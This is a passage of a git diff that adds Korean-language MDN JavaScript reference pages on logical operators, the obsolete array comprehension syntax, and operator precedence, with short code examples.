+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/논리_연산자(logical_operators)/index.html b/files/ko/web/javascript/reference/operators/논리_연산자(logical_operators)/index.html
new file mode 100644
index 0000000000..2e1140eed5
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/논리_연산자(logical_operators)/index.html
@@ -0,0 +1,249 @@
+---
+title: 논리 연산자
+slug: Web/JavaScript/Reference/Operators/논리_연산자(Logical_Operators)
+tags:
+ - JavaScript
+ - Logic
+ - Not
+ - Operator
+ - Reference
+ - and
+ - or
+ - 논리
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>논리 연산자는 보통 {{jsxref("Boolean")}}(논리적) 값과 함께 쓰이며, 불리언 값을 반환합니다. 그런데, <code>&amp;&amp;</code>과 <code>||</code> 연산자는 사실 피연산자 중 하나의 값을 반환합니다. 그러므로 불리언 외의 다른 값과 함께 사용하면 불리언 값이 아닌 것을 반환할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p>다음 표는 논리 연산자의 종류입니다. (<code><em>expr</em></code>은 불리언을 포함해서 아무 자료형이나 가능합니다)</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>연산자</th>
+ <th>구문</th>
+ <th>설명</th>
+ </tr>
+ <tr>
+ <td>논리 AND (<code>&amp;&amp;</code>)</td>
+ <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+ <td><code>expr1</code>을 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font>로 변환할 수 있는 경우 <code>expr2</code>을 반환하고, 그렇지 않으면 <code>expr1</code>을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td>논리 OR (<code>||</code>)</td>
+ <td><code><em>expr1</em> || <em>expr2</em></code></td>
+ <td>
+ <p><code>expr1</code>을 <code>true</code>로 변환할 수 있으면 <code>expr1</code>을 반환하고, 그렇지 않으면 <code>expr2</code>를 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>논리 NOT (<code>!</code>)</td>
+ <td><code>!<em>expr</em></code></td>
+ <td>단일 피연산자를 <code>true</code>로 변환할 수 있으면 <code>false</code>를 반환합니다. 그렇지 않으면 <code>true</code>를 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>값을 <code>true</code>로 변환하면 값이 {{Glossary("truthy", "참")}}인 것입니다.<br>
+ 값을 <code>false</code>로 변환할 수 있으면 값이 {{Glossary("falsy", "거짓")}}인 것입니다.</p>
+
+<p>거짓으로 변환할 수 있는 표현의 예는 다음과 같습니다.</p>
+
+<ul>
+ <li><code>null</code></li>
+ <li><code>NaN</code></li>
+ <li><code>0</code></li>
+ <li>빈 문자열 (<code>"",</code> <code>''</code>, <code>``</code>)</li>
+ <li><code>undefined</code></li>
+</ul>
+
+<p><code>&amp;&amp;</code> 연산자와 <code>||</code> 연산자를 불리언 값이 아닌 피연산자와 함께 사용될 수 있지만, 반환 값을 항상 <a href="/ko/docs/Web/JavaScript/Data_structures#Boolean_%ED%83%80%EC%9E%85">불리언 원시값</a>으로 변환할 수 있으므로 불리언 연산자로 생각할 수 있습니다. 반환 값을 직접 불리언으로 바꾸려면 {{jsxref("Boolean")}} 함수나 이중 부정 연산자를 사용하세요.</p>
+
+<h3 id="단락_평가">단락 평가</h3>
+
+<p>논리 표현식을 좌측부터 평가하므로, 아래 규칙에 따라 단락(short-circuit) 평가를 수행합니다.</p>
+
+<ul>
+ <li><code>(거짓 표현식) &amp;&amp; expr</code>은 거짓 표현식으로 단락 평가됩니다.</li>
+ <li><code>(참 표현식) || expr</code>은 참 표현식으로 단락 평가됩니다.</li>
+</ul>
+
+<p>"단락"이란, 위 규칙에서 <code>expr</code>을 평가하지 않는다는 뜻입니다. 따라서 평가 중 발생해야 할 부작용(예: <code>expr</code>이 함수 호출이면 절대 호출하지 않음)도 나타나지 않습니다. 단락 평가가 발생하는 원인은 첫 번째 피연산자를 평가한 순간 이미 연산자의 결과가 정해지기 때문입니다. 다음 예제를 살펴보세요.</p>
+
+<pre>function A(){ console.log('A 호출'); return false; }
+function B(){ console.log('B 호출'); return true; }
+
+console.log( A() &amp;&amp; B() );
+// 함수 호출로 인해 콘솔에 "A 호출" 기록
+// 그 후 연산자의 결과값인 "false" 기록
+
+console.log( B() || A() );
+// 함수 호출로 인해 콘솔에 "B 호출" 기록
+// 그 후 연산자의 결과인 "true" 기록
+</pre>
+
+<h3 id="연산자_우선순위">연산자 우선순위</h3>
+
+<p>다음 두 식은 똑같아 보이지만, <code>&amp;&amp;</code> 연산자는 <code>||</code> 이전에 실행되므로 서로 다릅니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위</a>를 참고하세요.</p>
+
+<pre class="brush: js">true || false &amp;&amp; false // returns true, because &amp;&amp; is executed first
+(true || false) &amp;&amp; false // returns false, because operator precedence cannot apply</pre>
+
+<h3 id="논리_AND_()"><a name="Logical_AND">논리 AND (<code>&amp;&amp;</code>)</a></h3>
+
+<p>다음은 <code>&amp;&amp;</code>(논리 AND) 연산자의 예제입니다.</p>
+
+<pre class="brush: js">a1 = true &amp;&amp; true // t &amp;&amp; t returns true
+a2 = true &amp;&amp; false // t &amp;&amp; f returns false
+a3 = false &amp;&amp; true // f &amp;&amp; t returns false
+a4 = false &amp;&amp; (3 == 4) // f &amp;&amp; f returns false
+a5 = 'Cat' &amp;&amp; 'Dog' // t &amp;&amp; t returns "Dog"
+a6 = false &amp;&amp; 'Cat' // f &amp;&amp; t returns false
+a7 = 'Cat' &amp;&amp; false // t &amp;&amp; f returns false
+a8 = '' &amp;&amp; false // f &amp;&amp; f returns ""
+a9 = false &amp;&amp; '' // f &amp;&amp; f returns false</pre>
+
+<h3 id="논리_OR_()"><a name="Logical_OR">논리 OR (<code>||</code>)</a></h3>
+
+<p>다음은 <code>||</code>(논리 OR) 연산자의 예제입니다.</p>
+
+<pre class="brush: js">o1 = true || true // t || t returns true
+o2 = false || true // f || t returns true
+o3 = true || false // t || f returns true
+o4 = false || (3 == 4) // f || f returns false
+o5 = 'Cat' || 'Dog' // t || t returns "Cat"
+o6 = false || 'Cat' // f || t returns "Cat"
+o7 = 'Cat' || false // t || f returns "Cat"
+o8 = '' || false // f || f returns false
+o9 = false || '' // f || f returns ""
+o10 = false || varObject // f || object returns varObject
+</pre>
+
+<h3 id="논리_NOT_(!)"><a name="Logical_NOT">논리 NOT (<code>!</code>)</a></h3>
+
+<p>다음은 <code>!</code>(논리 NOT) 연산자의 예제입니다.</p>
+
+<pre class="brush: js">n1 = !true // !t returns false
+n2 = !false // !f returns true
+n3 = !'' // !f returns true
+n4 = !'Cat' // !t returns false
+</pre>
+
+<h4 id="이중_NOT_(!!)">이중 NOT (<code>!!</code>)</h4>
+
+<p>NOT 연산자 다수를 연속해서 사용하면 아무 값이나 불리언 원시값으로 강제 변환할 수 있습니다. 변환 결과는 피연산자 값의 "참스러움"이나 "거짓스러움"에 따릅니다. ({{Glossary("truthy", "참")}}과 {{Glossary("falsy", "거짓")}}을 참고하세요)</p>
+
+<p>동일한 변환을 {{jsxref("Boolean")}} 함수로도 수행할 수 있습니다.</p>
+
+<pre class="brush: js">n1 = !!true // !!truthy returns true
+n2 = !!{} // !!truthy returns true: any object is truthy...
+n3 = !!(new Boolean(false)) // ...even Boolean objects with a false .valueOf()!
+n4 = !!false // !!falsy returns false
+n5 = !!"" // !!falsy returns false
+n6 = !!Boolean(false) // !!falsy returns false
+</pre>
+
+<h3 id="불리언_변환_규칙">불리언 변환 규칙</h3>
+
+<h4 id="AND에서_OR로_변환">AND에서 OR로 변환</h4>
+
+<p>불리언 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; bCondition2
+</pre>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre>
+
+<h4 id="OR에서_AND로_변환">OR에서 AND로 변환</h4>
+
+<p>불리언 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 || bCondition2
+</pre>
+
+<pre class="brush: js">!(!bCondition1 &amp;&amp; !bCondition2)</pre>
+
+<h4 id="NOT_간_변환">NOT 간 변환</h4>
+
+<p>불리언 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">!!bCondition
+</pre>
+
+<pre class="brush: js">bCondition</pre>
+
+<h3 id="중첩_괄호_제거">중첩 괄호 제거</h3>
+
+<p>논리 표현식은 항상 왼쪽에서 오른쪽으로 평가되므로, 몇 가지 규칙을 따르면 복잡한 표현식에서 괄호를 제거할 수 있습니다.</p>
+
+<h4 id="중첩_AND_제거">중첩 AND 제거</h4>
+
+<p>불리언의 합성 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 || (bCondition2 &amp;&amp; bCondition3)
+</pre>
+
+<pre class="brush: js">bCondition1 || bCondition2 &amp;&amp; bCondition3</pre>
+
+<h4 id="중첩_OR_제거">중첩 OR 제거</h4>
+
+<p>불리언의 합성 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; (bCondition2 || bCondition3)
+</pre>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2 &amp;&amp; !bCondition3)</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.logical")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 연산자</a></li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{Glossary("truthy", "참")}}</li>
+ <li>{{Glossary("falsy", "거짓")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/배열/index.html b/files/ko/web/javascript/reference/operators/배열/index.html
new file mode 100644
index 0000000000..4bdd29b61c
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/배열/index.html
@@ -0,0 +1,200 @@
+---
+title: 배열 내포
+slug: Web/JavaScript/Reference/Operators/배열
+tags:
+ - JavaScript
+ - Non-standard
+ - Obsolete
+ - Operator
+ - Reference
+translation_of: Archive/Web/JavaScript/Array_comprehensions
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div class="warning"><strong>표준이 아닙니다. 사용하지 않는 것을 권장합니다!</strong><br>
+Array comprehensions 문법은 비표준이며 Firefox 58부터는 제거됩니다. 향후 사용할 수 없게 되기 때문에 사용하지 않는것을 고려해보세요.<br>
+{{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}}, and {{jsxref("Operators/Spread_operator", "spread syntax", "", 1)}}.</div>
+
+<div>{{Obsolete_Header(58)}}</div>
+
+<p><strong>array comprehension </strong>문법은 기존의 배열을 기반으로 새로운 배열을 신속하게 어셈블 할 수 있는 JavaScript 표현식입니다. 그러나 표준 및 Firefox 구현에서 제거되었습니다. 사용하지 마세요!</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">[for (x of iterable) x]
+[for (x of iterable) if (condition) x]
+[for (x of iterable) for (y of iterable) x + y]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>배열의 이해로 넘어가서, 다음 두가지의 요소들이 사용가능하다.</p>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} and</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>for-of 반복문은 항상 첫번째 요소이다. 여러개의 for-of 반복문이나 if 제어문을 사용할 수 있다.</p>
+
+<p>배열 선언은 ECMAScript 2016에서 이전부터 표준으로 정립되어왔으며, 이는 다른 형태의 데이터(contents)를 이용해서 새로운 배열을 구성할 수 있게 해 준다.</p>
+
+<p>아래의 선언은 숫자로 이루어진 배열 내 각각의 숫자들을 이용해서 double형의 새로운 배열을 만들어준다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4];
+var doubled = [for (i of numbers) i * 2];
+console.log(doubled); // logs 2,4,6,8
+</pre>
+
+<p>이것은 {{jsxref("Array.prototype.map", "map()")}} 연산자와 같은 기능을 한다.</p>
+
+<pre class="brush: js">var doubled = numbers.map(i =&gt; i * 2);
+</pre>
+
+<p>배열들은 또한 다양한 표현을 통해 몇몇개의 배열 원소들은 선택할 수 도 있다. 아래의 예제는 바로 홀수만 선택하는 예제이다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 21, 22, 30];
+var evens = [for (i of numbers) if (i % 2 === 0) i];
+console.log(evens); // logs 2,22,30
+</pre>
+
+<p>{{jsxref("Array.prototype.filter", "filter()")}} 또한 같은 목적으로 얼마든지 사용가능하다.</p>
+
+<pre class="brush: js">var evens = numbers.filter(i =&gt; i % 2 === 0);
+</pre>
+
+<p>{{jsxref("Array.prototype.map", "map()")}} 그리고 {{jsxref("Array.prototype.filter", "filter()")}} 스타일과 같은 연산자들은 단한 배열 선언과 결합할 수 있다. 아래는 짝수만 필터링하고, 그 원소들을 2배씩하는 배열들을 만드는 예제이다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 21, 22, 30];
+var doubledEvens = [for (i of numbers) if (i % 2 === 0) i * 2];
+console.log(doubledEvens); // logs 4,44,60
+</pre>
+
+<p>배열에서의 [ ] (꺽쇠괄호) 는 범위의 목적으로 암시적인 괄호를 의미한다. {{jsxref("Statements/let","let")}}를 사용하면서 정의된다면, 예제의 i와 같은 변수들이 사용된다. 이는 배열 밖에서 사용할 수 없음을 나타낸다.</p>
+
+<p>배열의 원소에 넣어지는 것은 굳이 배열일 필요는 없다 <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators" title="en-US/docs/JavaScript/Guide/Iterators and Generators">iterators and generators</a> 물론 가능하다.</p>
+
+<p>심지어 문자열도 배열의 원소로 넣을 수 있다. 필터와 지도 액션과 같은 데에 이용할 수 있다.</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var consonantsOnlyStr = [for (c of str) if (!(/[aeiouAEIOU]/).test(c)) c].join(''); // 'bcdf'
+var interpolatedZeros = [for (c of str) c + '0' ].join(''); // 'a0b0c0d0e0f0'
+</pre>
+
+<p>또한 입력 폼이 유지되지 않으므로, 문자열을 뒤집기 위해 {{jsxref("Array.prototype.join", "join()")}} 를 사용해야 한다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="단순_배열">단순 배열</h3>
+
+<pre class="brush:js">[for (i of [1, 2, 3]) i * i ];
+// [1, 4, 9]
+
+var abc = ['A', 'B', 'C'];
+[for (letters of abc) letters.toLowerCase()];
+// ["a", "b", "c"]</pre>
+
+<h3 id="if문에서의_배열">if문에서의 배열</h3>
+
+<pre class="brush: js">var years = [1954, 1974, 1990, 2006, 2010, 2014];
+[for (year of years) if (year &gt; 2000) year];
+// [ 2006, 2010, 2014 ]
+[for (year of years) if (year &gt; 2000) if (year &lt; 2010) year];
+// [ 2006], the same as below:
+[for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year];
+// [ 2006]
+</pre>
+
+<h3 id="map과_filter를_비교한_배열">map과 filter를 비교한 배열</h3>
+
+<p>배열문법을 가장 쉽게 이해하는 방법은, 배열에서 {{jsxref("Array.map", "map")}} 그리고 {{jsxref("Array.filter", "filter")}}메소드를 비교하는 것이다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+
+numbers.map(function (i) { return i * i });
+numbers.map(i =&gt; i * i);
+[for (i of numbers) i * i];
+// all are [1, 4, 9]
+
+numbers.filter(function (i) { return i &lt; 3 });
+numbers.filter(i =&gt; i &lt; 3);
+[for (i of numbers) if (i &lt; 3) i];
+// all are [1, 2]
+</pre>
+
+<h3 id="2개의_배열">2개의 배열</h3>
+
+<p>2개의 배열과 2개의 for-of 반복문을 살펴본다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+var letters = ['a', 'b', 'c'];
+
+var cross = [for (i of numbers) for (j of letters) i + j];
+// ["1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c"]
+
+var grid = [for (i of numbers) [for (j of letters) i + j]];
+// [
+// ["1a", "1b", "1c"],
+// ["2a", "2b", "2c"],
+// ["3a", "3b", "3c"]
+// ]
+
+[for (i of numbers) if (i &gt; 1) for (j of letters) if(j &gt; 'a') i + j]
+// ["2b", "2c", "3b", "3c"], the same as below:
+
+[for (i of numbers) for (j of letters) if (i &gt; 1) if(j &gt; 'a') i + j]
+// ["2b", "2c", "3b", "3c"]
+
+[for (i of numbers) if (i &gt; 1) [for (j of letters) if(j &gt; 'a') i + j]]
+// [["2b", "2c"], ["3b", "3c"]], not the same as below:
+
+[for (i of numbers) [for (j of letters) if (i &gt; 1) if(j &gt; 'a') i + j]]
+// [[], ["2b", "2c"], ["3b", "3c"]]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p>ECMAScript 2015 초안에 있었지만 개정 27(2014년 8월)에서 삭제되었습니다. specification semantics에 대해서는 ES2015의 이전 버전을 참조하세요.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.operators.array_comprehensions")}}</p>
+
+<h2 id="오래된_JS1.7JS1.8_comprehensions과의_차이점들">오래된 JS1.7/JS1.8 comprehensions과의 차이점들</h2>
+
+<div class="warning">Gecko에서 JS1.7 / JS1.8 comprehensions가 46 버전부터 제거되었습니다. ({{bug(1220564)}}).</div>
+
+<p><strong>이전에 사용된 문법입니다. (더 이상 사용되지 않음!):</strong></p>
+
+<pre class="brush: js example-bad">[X for (Y in Z)]
+[X for each (Y in Z)]
+[X for (Y of Z)]
+</pre>
+
+<p>차이점:</p>
+
+<ul>
+ <li>ESNext comprehensions는 전체comprehension 대신 "for"노드마다 하나의 범위를 만듭니다.
+ <ul>
+ <li>Old: <code>[()=&gt;x for (x of [0, 1, 2])][1]() // 2</code></li>
+ <li>New: <code>[for (x of [0, 1, 2]) ()=&gt;x][1]() // 1, each iteration creates a fresh binding for x. </code></li>
+ </ul>
+ </li>
+ <li>ESNext comprehensions은 assignment expression대신 "for"로 시작합니다.
+ <ul>
+ <li>Old: <code>[i * 2 for (i of numbers)]</code></li>
+ <li>New: <code>[for (i of numbers) i * 2]</code></li>
+ </ul>
+ </li>
+ <li>ESNext comprehensions는 <code>if</code> 및 <code>for</code> 구성 요소를 여러 개 가질 수 있습니다.</li>
+ <li>ESNext comprehensions <code>{{jsxref("Statements/for...of", "for...of")}}</code>에서만 동작하고 <code>{{jsxref("Statements/for...in", "for...in")}}</code>에서는 동작하지 않습니다.</li>
+</ul>
+
+<p>버그 업데이트에 대한 제안은 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1220564#c42">Bug 1220564, comment 42</a>를 참조하세요.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Operators/Generator_comprehensions", "Generator comprehensions", "" ,1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/연산자_우선순위/index.html b/files/ko/web/javascript/reference/operators/연산자_우선순위/index.html
new file mode 100644
index 0000000000..7a82346d09
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/연산자_우선순위/index.html
@@ -0,0 +1,462 @@
+---
+title: 연산자 우선순위
+slug: Web/JavaScript/Reference/Operators/연산자_우선순위
+tags:
+ - JavaScript
+ - Operator
+ - 연산자
+ - 우선순위
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>연산자 우선순위</strong>는 연산자를 실행하는 순서를 결정합니다. 우선순위가 높은 연산자가 먼저 실행됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}</div>
+
+
+
+<h2 id="우선순위와_결합성">우선순위와 결합성</h2>
+
+<p>아래와 같이 표현할 수 있는 표현식을 생각해 봅시다. 연산자<sub>1</sub>과 연산자<sub>2</sub>의 자리에는 아무 연산자를 넣을 수 있습니다.</p>
+
+<pre class="syntaxbox">a 연산자<sub>1</sub> b 연산자<sub>2</sub> c</pre>
+
+<p>두 연산자의 우선순위(아래 표 참조)가 다를 경우, 우선순위가 높은 연산자가 먼저 실행되고 결합성은 영향을 미치지 않습니다. 아래 예제에서는 덧셈이 곱셈보다 먼저 쓰였음에도 곱셈의 우선순위가 높기 때문에 먼저 실행됩니다.</p>
+
+<pre class="brush: js">console.log(3 + 10 * 2); // 23을 출력
+console.log(3 + (10 * 2)); // 23을 출력, 괄호는 불필요함
+console.log((3 + 10) * 2); // 26을 출력, 괄호로 인해 실행 순서가 바뀜
+</pre>
+
+<p>좌결합성(왼쪽에서 오른쪽으로)은 표현식이 <code>(a 연산자<sub>1</sub> b) 연산자<sub>2</sub> c</code>와 같이, 우결합성(오른쪽에서 왼쪽으로)은 <code>a 연산자<sub>1</sub> (b 연산자<sub>2</sub> c)</code>와 같이 계산된다는 의미입니다. 대입 연산자는 우결합성이므로 다음과 같은 코드를 작성할 수 있습니다.</p>
+
+<pre class="brush: js">a = b = 5; // a = (b = 5);와 같음
+</pre>
+
+<p>이때 대입 연산자는 대입된 값을 반환하므로 <code>a</code>와 <code>b</code>의 값이 5가 됨을 예상할 수 있습니다. 우선 <code>b</code>의 값이 5로 설정되고, 그 다음에는 <code>a</code>의 값이 우변인 <code>b = 5</code>의 반환값 5로 설정됩니다.</p>
+
+<p>다른 예시로, 좌결합성인 다른 산술 연산자와 달리 거듭제곱 연산자 (<code>**</code>)만은 우결합성입니다. 흥미로운 점으로 표현식의 평가는 결합성과 무관하게 항상 왼쪽에서 오른쪽으로 진행됩니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>코드</td>
+ <td>출력</td>
+ </tr>
+ <tr>
+ <td>
+ <pre class="brush: js">
+function echo(name, num) {
+ console.log(name + " 항 평가함");
+ return num;
+}
+// 나눗셈 연산자 (/)에 주목
+console.log(echo("첫째", 6) / echo("둘째", 2));
+</pre>
+ </td>
+ <td>
+ <pre>
+첫째 항 평가함
+둘째 항 평가함
+3
+</pre>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <pre class="brush: js">
+function echo(name, num) {
+ console.log(name + " 항 평가함");
+ return num;
+}
+// 거듭제곱 연산자 (**)에 주목
+console.log(echo("첫째", 2) ** echo("둘째", 3));</pre>
+ </td>
+ <td>
+ <pre>
+첫째 항 평가함
+둘째 항 평가함
+8</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>여러 연산자의 우선순위가 같을 때는 결합성을 고려합니다. 위에서와 같이 연산자가 하나이거나 연산자끼리 우선순위가 다를 경우에는 결합성이 결과에 영향을 미치지 않습니다. 아래의 예제에서 같은 종류의 연산자를 여러 번 사용했을 때 결합성이 결과에 영향을 미치는 것을 확인할 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>코드</td>
+ <td>출력</td>
+ </tr>
+ <tr>
+ <td>
+ <pre class="brush: js">
+function echo(name, num) {
+ console.log(name + " 항 평가함");
+ return num;
+}
+// 나눗셈 연산자 (/)에 주목
+console.log(echo("첫째", 6) / echo("둘째", 2) / echo("셋째", 3));
+</pre>
+ </td>
+ <td>
+ <pre>
+첫째 항 평가함
+둘째 항 평가함
+셋째 항 평가함
+1
+</pre>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <pre class="brush: js">
+function echo(name, num) {
+ console.log(name + " 항 평가함");
+ return num;
+}
+// 거듭제곱 연산자 (**)에 주목
+console.log(echo("첫째", 2) ** echo("둘째", 3) ** echo("셋째", 2));
+</pre>
+ </td>
+ <td>
+ <pre>
+첫째 항 평가함
+둘째 항 평가함
+셋째 항 평가함
+512
+</pre>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <pre class="brush: js">
+function echo(name, num) {
+ console.log(name + " 항 평가함");
+ return num;
+}
+// 첫 번째 거듭제곱 연산자 주변의 괄호에 주목
+console.log((echo("첫째", 2) ** echo("둘째", 3)) ** echo("셋째", 2));</pre>
+ </td>
+ <td>
+ <pre>
+첫째 항 평가함
+둘째 항 평가함
+셋째 항 평가함
+64</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>위의 예제에서 나눗셈은 좌결합성이므로 <code>6 / 3 / 2</code>는 <code>(6 / 3) / 2</code>와 같습니다. 한편 거듭제곱은 우결합성이므로 <code>2 ** 3 ** 2</code>는 <code>2 ** (3 ** 2)</code>와 같습니다. 그러므로 <code>(2 ** 3) ** 2</code>는 괄호로 인해 실행 순서가 바뀌기 때문에 위 표와 같이 64로 평가됩니다.</p>
+
+<p>우선순위는 결합성보다 항상 우선하므로, 거듭제곱과 나눗셈을 같이 사용하면 나눗셈보다 거듭제곱이 먼저 계산됩니다. 예를 들어 <code>2 ** 3 / 3 ** 2</code>는 <code>(2 ** 3) / (3 ** 2)</code>와 같으므로 0.8888888888888888로 계산됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">3 &gt; 2 &amp;&amp; 2 &gt; 1
+// true를 반환
+
+3 &gt; 2 &gt; 1
+// 3 &gt; 2는 true인데, 부등호 연산자에서 true는 1로 변환되므로
+// true &gt; 1은 1 &gt; 1이 되고, 이는 거짓이다.
+// 괄호를 추가하면 (3 &gt; 2) &gt; 1과 같다.</pre>
+
+<h2 id="표">표</h2>
+
+<p>다음 표는 우선순위 내림차순(21부터 1까지)으로 정렬되어 있습니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>우선순위</th>
+ <th>연산자 유형</th>
+ <th>결합성</th>
+ <th>연산자</th>
+ </tr>
+ <tr>
+ <td>21</td>
+ <td>{{jsxref("Operators/Grouping", "그룹", "", 1)}}</td>
+ <td>없음</td>
+ <td><code>( … )</code></td>
+ </tr>
+ <tr>
+ <td colspan="1" rowspan="5">20</td>
+ <td>{{jsxref("Operators/Property_Accessors", "멤버 접근", "#점_표기법", 1)}}</td>
+ <td>좌결합성</td>
+ <td><code>… . …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/Property_Accessors", "계산된 멤버 접근","#괄호_표기법", "1")}}</td>
+ <td>좌결합성</td>
+ <td><code>… [ … ]</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/new","new")}} (매개변수 리스트 존재)</td>
+ <td>없음</td>
+ <td><code>new … ( … )</code></td>
+ </tr>
+ <tr>
+ <td>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Functions">함수 호출</a></p>
+ </td>
+ <td>좌결합성</td>
+ <td><code>… ( <var>… </var>)</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Optional chaining</a></td>
+ <td>좌결합성</td>
+ <td><code>?.</code></td>
+ </tr>
+ <tr>
+ <td rowspan="1">19</td>
+ <td>{{jsxref("Operators/new","new")}} (매개변수 리스트 생략)</td>
+ <td>우결합성</td>
+ <td><code>new …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">18</td>
+ <td>{{jsxref("Operators/Arithmetic_Operators","후위 증가","#Increment", 1)}}</td>
+ <td colspan="1" rowspan="2">없음</td>
+ <td><code>… ++</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/Arithmetic_Operators","후위 감소","#Decrement", 1)}}</td>
+ <td><code>… --</code></td>
+ </tr>
+ <tr>
+ <td colspan="1" rowspan="10">17</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">논리 NOT</a></td>
+ <td colspan="1" rowspan="10">우결합성</td>
+ <td><code>! …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">비트 NOT</a></td>
+ <td><code>~ …</code></td>
+ </tr>
+ <tr>
